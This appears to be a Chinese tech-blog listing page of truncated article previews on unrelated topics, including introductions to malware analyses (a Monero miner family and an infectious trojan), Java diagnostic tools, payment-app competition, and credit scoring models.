币圈惊现门罗币挖矿新家族「罗生门」

欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室发表于云+社区专栏 一.前言 腾讯安全云鼎实验室通过部署的威胁感知系统捕获了一批挖矿样本(具有同源性),是一批可挖取门罗币(xmr)的挖矿病毒.这批样本今年5月开始出现,目前各大杀软对此样本基本无法有效查杀,腾讯云云镜第一时间跟进查杀.根据进一步溯源的信息可以推测该挖矿团伙利用被***的×××服务器进行病毒传播.分析显示,此挖矿样本不具有传播性,总体结构式是 Loader + 挖矿子体,挖矿团伙通过控制的机器进行远程 S

微信支付与支付宝钱包的竞争分析

NO1: 十九世纪七十年代起,“物竞天择,适者生存,优胜劣汰”已逐渐成为现代生物学的口号.而今,不知不觉中,它似乎也成了当代社会学的口号.罗素说:“竞争一直是,甚至从人类起源起就是对大部分激烈活动的剌激物.”所谓“长江后浪推前浪”,在人类资讯的迅速积累之下,如果不能追上时代,自然就要被淘汰了.竞争,已经成了当代社会政治经济发展的重要基础与必然趋势. 从远古时期的以物换物,到后来货币的出现,直到宋朝时第一张纸币“交子”问世,随着经济的不断发展,货币的形式也在不断地变化着. 2003年10月18日,

《BI那点儿事》三国数据分析系列——蜀汉五虎上将与魏五子良将武力分析,绝对的经典分析

献给广大的三国爱好者们,希望喜欢三国的朋友一起讨论,加深对传奇三国时代的了解 数据分析基础概念:集中趋势分析是指在大量测评数据分布中,测评数据向某点集中的情况.总体(population)是指客观存在的,并在同一性质的基础上结合起来的许多个别单位的整体,即具有某一特性的一类事物的全体,又叫母体或全域.简单地说,总体也就是我们所研究的性质相同个体的总和,用符号N表示.样本(sample),是指从总体中抽出的一部分个体.样本中所包含个体数目称样本容量或含量,用符号n表示.标准差与方差的区别:从公式上

jstack(查看线程)、jmap(查看内存)和jstat(性能分析)命令

公司内部同事分享的一篇文章 周末看到一个用jstack查看死锁的例子.昨天晚上总结了一下jstack(查看线程).jmap(查看内存)和jstat(性能分析)命令.供大家参考 1.Jstack 1.1   jstack能得到运行java程序的java stack和native stack的信息.可以轻松得知当前线程的运行情况.如下图所示 注:这个和thread dump是同样的结果.但是thread dump是用kill -3 pid命令,还是服务器上面少用kill为妙 1.2   命名行格式

性能分析之-- JAVA Thread Dump 分析综述

性能分析之-- JAVA Thread Dump 分析综述 一.Thread Dump介绍 1.1什么是Thread Dump? Thread Dump是非常有用的诊断Java应用问题的工具.每一个Java虚拟机都有及时生成所有线程在某一点状态的thread-dump的能力,虽然各个 Java虚拟机打印的thread dump略有不同,但是大多都提供了当前活动线程的快照,及JVM中所有Java线程的堆栈跟踪信息,堆栈信息一般包含完整的类名及所执行的方法,如果可能的话还有源代码的行数. 1.2 T

一个感染性木马病毒分析(三)--文件的修复

一. 序言 前面的分析一个感染型木马病毒分析(二)中,已经将该感染性木马病毒resvr.exe木马性的一面分析了一下,下面就将该感染性木马病毒resvr.exe感染性的一面分析一下. 二.文件感染方式的分析 之前感染性木马病毒的分析中,已经提到了病毒对于用户文件的感染方式有2种,分别是加密文件和感染文件传播病毒,至于文件感染的时候采取哪种感染方式,病毒母体文件和病毒母体衍生病毒文件中都有相关的标志位. 第1种感染文件的方式 前面分析的感染性木马病毒的木马性一面的过程中有下面一组远程控制命令Rev

信用评级模型实例分析(以消费金融为例)-中

信用评级模型实例分析(以消费金融为例)-中 原创 2016-10-13 单良 亚联大数据 点击"亚联大数据"可关注我们! 第五章 自变量的初步分析与处理 模型变量有两种类型,分别是连续型变量 .连续型变数系指该变数为观察数据所得的实际数值,并没有经过群组处理 .间断型变数则系指质性变量或类别型变量 . 两种变数类型都适用于评分模型,但建议变量使用间断型态进行开发评分模型,主要原因如下: 1. 间断型变量有助于处理极端值或是样本数量较少的变量. 2. 非线性的因变量 (dependenc

一个感染型木马病毒分析(二)

作者:龙飞雪 0x1序言 前面已经对感染型木马病毒resvr.exe的病毒行为进行了详细的分析见一个感染型木马病毒分析(一),可是认为还不够.不把这个感染型木马病毒的行为的亮点进行分析一下就有点遗憾了. 以下就针对该感染型木马病毒的感染性.木马性以及被感染文件的恢复几个方面进行详细的分析和说明.直观感受一下病毒的感染性.木马性质. 0x2病毒木马性的分析---远程控制用户的电脑 前面的分析中已经分析过了,该感染型木马病毒会在用户的电脑上创建socket套接字作为service端,等待病毒作者cl

性能分析之-- JAVA Thread Dump 分析综述【转】

一.Thread Dump介绍 1.1什么是Thread Dump? Thread Dump是非常有用的诊断Java应用问题的工具.每一个Java虚拟机都有及时生成所有线程在某一点状态的thread-dump的能力,虽然各个 Java虚拟机打印的thread dump略有不同,但是大多都提供了当前活动线程的快照,及JVM中所有Java线程的堆栈跟踪信息,堆栈信息一般包含完整的类名及所执行的方法,如果可能的话还有源代码的行数. 1.2 Thread Dump特点 1. 能在各种操作系统下使用 2.